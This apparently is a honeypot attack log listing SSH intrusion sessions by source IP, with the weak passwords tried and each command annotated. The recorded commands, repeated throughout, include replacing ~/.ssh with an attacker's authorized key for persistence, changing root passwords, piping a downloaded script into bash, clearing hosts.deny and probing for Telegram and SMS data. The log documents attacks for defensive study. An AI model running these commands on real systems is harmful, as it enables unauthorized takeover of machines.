$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 phantom_root_23 (123.17.57.238) β€” Hanoi, Vietnam Β· 1 session Β· 9 cmds
2026-04-23 10:44 EDT Β· as root/root
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 bike_root_5 (34.90.210.134) β€” Groningen, Netherlands Β· 1 session Β· 1 cmd
2026-04-23 10:31 EDT Β· as mysql/mysql
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 yankee_root_12 (209.99.191.19) β€” San Francisco, United States Β· 1 session Β· 2 cmds
2026-04-23 08:10 EDT Β· as oracle/Oracle10!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 tiger_root (182.18.161.165) β€” Hyderabad, India Β· 1 session Β· 2 cmds
2026-04-23 08:08 EDT Β· as oracle/Oracle10!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 ghost_root_42 (45.78.207.244) β€” Singapore, Singapore Β· 1 session Β· 18 cmds
2026-04-23 07:32 EDT Β· as oracle/Oracle9
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "Oracle9\nCfCl17YtvrSE\nCfCl17YtvrSE"|passwd|bash
$ Enter new UNIX password:
$ echo "Oracle9\nCfCl17YtvrSE\nCfCl17YtvrSE\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
🎭 lantern_root_5 (139.170.141.170) β€” Xining, China Β· 1 session Β· 1 cmd
2026-04-23 07:18 EDT Β· as root/12345678
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 ghost_root (186.96.145.241) β€” Mexico City, Mexico Β· 120 sessions Β· 120 cmds
2026-03-03 09:10 EST Β· as deploy/deploy, deploy/deploy123, guest/guest
Ran uname 113x across 113 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—120
🎭 phantom_root_24 (23.97.62.147) β€” Singapore, Singapore Β· 10 sessions Β· 10 cmds
2026-04-12 00:59 EDT Β· as root/1234, root/123456, root/12345678
env reconnaissance β†’ netstat port scan β†’ ssh version check β†’ pwd location confirmation β†’ mount table inspection β†’ wget bench.sh payload fetch β†’ bash execution β†’ history tail verification β†’ root directory listing β†’ ps process enumeration β†’ whoami identity confirmation
$ env | head -10
$ netstat -tulpn | head -10
$ ssh -V
$ pwd
$ mount | head -5
$ wget -qO- bench.sh | bash
$ history | tail -5
↳ history snooping
$ ls -la /
$ ps aux | head -10
$ whoami
↳ privilege check
🎭 spice_db (103.6.132.9) β€” Aligarh, India Β· 1 session Β· 2 cmds
2026-04-23 05:40 EDT Β· as oracle/Oracle9
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 phantom_root_2 (47.76.49.128) β€” Hong Kong, Hong Kong Β· 21 sessions Β· 21 cmds
2026-04-23 04:09 EDT Β· as admin/admin123, deploy/deploy, deploy/deploy123
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—21
🎭 silk_root_4 (8.130.125.187) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-04-23 03:55 EDT Β· as guest/guest
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 wraith_root_32 (165.154.6.56) β€” Hong Kong, Hong Kong Β· 3 sessions Β· 6 cmds
2026-04-22 23:44 EDT Β· as oracle/ORACLE, oracle/Oracle28!, oracle/oracle#123
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—3
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—3
↳ SSH key persistence
🎭 cipher (47.239.191.37) β€” Hong Kong, Hong Kong Β· 1 session Β· 1 cmd
2026-04-22 22:32 EDT Β· as user/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 stroopwafel_sol_2 (176.65.139.95) β€” Eygelshoven, The Netherlands Β· 35 sessions Β· 35 cmds
2026-04-22 19:55 EDT Β· as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—35
🎭 lantern_root_6 (121.196.151.83) β€” Hangzhou, China Β· 1 session Β· 1 cmd
2026-04-22 21:05 EDT Β· as ubuntu/ubuntu
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 silk_root_5 (8.136.218.113) β€” Hangzhou, China Β· 1 session Β· 1 cmd
2026-04-22 19:29 EDT Β· as admin/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 specter_root_35 (210.79.190.151) β€” Cicurug, Indonesia Β· 1 session Β· 2 cmds
2026-04-22 18:35 EDT Β· as oracle/Oracle#
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 silk_root_6 (47.112.205.17) β€” Shenzhen, China Β· 1 session Β· 1 cmd
2026-04-22 18:18 EDT Β· as admin/admin
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 scone_root_8 (45.43.86.48) β€” City of London, United Kingdom Β· 1 session Β· 2 cmds
2026-04-22 18:11 EDT Β· as oracle/Oracle#
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 burger_root_3 (34.86.213.47) β€” Washington, United States Β· 2 sessions Β· 2 cmds
2026-04-06 08:19 EDT Β· as deploy/deploy, root/admin123
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a Γ—2
↳ OS/kernel identification
🎭 wraith_root_33 (34.78.29.97) β€” Brussels, Belgium Β· 1 session Β· 2 cmds
2026-04-22 15:58 EDT Β· as oracle/Oracle28
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 star_root_8 (43.130.57.128) β€” Santa Clara, United States Β· 1 session Β· 19 cmds
2026-04-22 15:50 EDT Β· as root/pass123
file attribute tampering β†’ SSH key persistence β†’ CPU profiling β†’ execute from /tmp β†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:PBboWA3Jo83d"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 cipher_root_41 (210.79.142.221) β€” Pulerejo, Indonesia Β· 1 session Β· 2 cmds
2026-04-22 15:31 EDT Β· as oracle/Oracle28
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 kimchi_root_3 (115.68.207.110) β€” Gwangmyeong, South Korea Β· 1 session Β· 2 cmds
2026-04-22 15:20 EDT Β· as oracle/oracle#123
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 burger_db (34.123.134.194) β€” Council Bluffs, United States Β· 1 session Β· 2 cmds
2026-04-22 14:15 EDT Β· as oracle/Oracle20!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 star_root (142.93.176.33) β€” Clifton, United States Β· 35 sessions Β· 35 cmds
2026-04-22 12:26 EDT Β· as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—35
🎭 rogue_root_31 (37.26.198.15) β€” Bialystok, Poland Β· 1 session Β· 9 cmds
2026-04-22 13:36 EDT Β· as root/root
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 star_root_2 (50.188.96.138) β€” Houston, United States Β· 1 session Β· 1 cmd
2026-04-22 13:08 EDT Β· as root/password
echo
$ echo TEST
🎭 ghost_root_43 (103.186.1.143) β€” Sukabumi, Indonesia Β· 1 session Β· 19 cmds
2026-04-22 11:58 EDT Β· as root/pass123
file attribute tampering β†’ SSH key persistence β†’ CPU profiling β†’ execute from /tmp β†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:Q45OSNihM1WR"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 shadow_root_26 (163.7.11.126) β€” Banguntapan, Indonesia Β· 1 session Β· 2 cmds
2026-04-22 11:54 EDT Β· as oracle/oracle08!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 bistro_root_2 (51.158.120.121) β€” Paris, France Β· 1 session Β· 2 cmds
2026-04-22 11:45 EDT Β· as oracle/oracle08!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 rogue_root_32 (38.253.239.21) β€” Jakarta, Indonesia Β· 1 session Β· 2 cmds
2026-04-22 11:45 EDT Β· as oracle/oracle08!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 rogue_root_4 (8.218.229.26) β€” Hong Kong, Hong Kong Β· 15 sessions Β· 15 cmds
2026-04-22 09:29 EDT Β· as admin/admin123, admin/password, oracle/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—15
🎭 panda_root_5 (124.251.110.186) β€” Chaowai, China Β· 1 session Β· 2 cmds
2026-04-22 09:48 EDT Β· as oracle/Oracle5
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 ghost_root_44 (103.52.114.250) β€” Cicurug, Indonesia Β· 1 session Β· 2 cmds
2026-04-22 09:44 EDT Β· as oracle/M3gaP33!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
